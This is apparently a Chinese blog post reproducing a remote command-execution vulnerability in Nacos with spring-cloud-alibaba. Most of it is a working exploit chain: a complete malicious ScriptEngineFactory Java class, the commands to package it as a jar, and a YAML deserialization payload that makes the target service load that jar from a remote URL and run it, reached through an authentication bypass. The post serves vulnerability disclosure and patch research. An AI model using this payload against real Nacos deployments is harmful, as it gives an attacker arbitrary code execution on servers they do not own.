前言
Nacos属于阿里巴巴的一个开源的项目,通过一组简单的特性集,Nacos能够帮助用户实现服务动态发现、服务配置、服务元数据及流量管理。
Nacos历史版本存在命令执行漏洞。
漏洞影响范围
版本:
2.2.x
2.1.x
2.0.x
1.5.x
漏洞复现
首先启动一个nacos,服务访问地址为http://127.0.0.1:8848
在nacos添加dataId为'test-server',其余为默认的配置,内容如下:
server:
port: 12345
启动一个使用了spring-cloud-starter-alibaba-nacos-config的服务,它的bootstrap.yml配置如下:
spring:
application:
name: test-server
cloud:
nacos:
config:
file-extension: yaml
discovery:
server-addr: http://127.0.0.1:8848
可以发现,服务在12345端口启动了
4.编写java文件(EvilScript.java)
import java.util.List;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;/**
* @author threedr3am
*/
public class EvilScript implements ScriptEngineFactory {
public EvilScript() throws Throwable {
Runtime.getRuntime().exec("touch /tmp/pwn");
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
5.编译java文件,并打包成jar
javac EvilScript.java
mkdir -p META-INF/services/
echo 'EvilScript' > META-INF/services/javax.script.ScriptEngineFactory
jar -cvf EvilScript.jar EvilScript.class META-INF
6.把得到的EvilScript.jar放到http可以下载到的地方,例如:
http://127.0.0.1:80/EvilScript.jar
使用nacos的认证绕过漏洞https://github.com/alibaba/nacos/issues/4593
创建账号,去修改dataId为test-server的yaml配置文件
server:
port: 8080
evil: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:80/EvilScript.jar"]]]]
此时可以看到,test-server这个服务会通过http://127.0.0.1:80/EvilScript.jar
加载恶意jar并执行,导致服务端命令执行,创建了/tmp/pwn
文件
原文地址:
https://github.com/alibaba/spring-cloud-alibaba/issues/1910
免责声明
本公众号文章以技术分享学习为目的。
由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。
一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!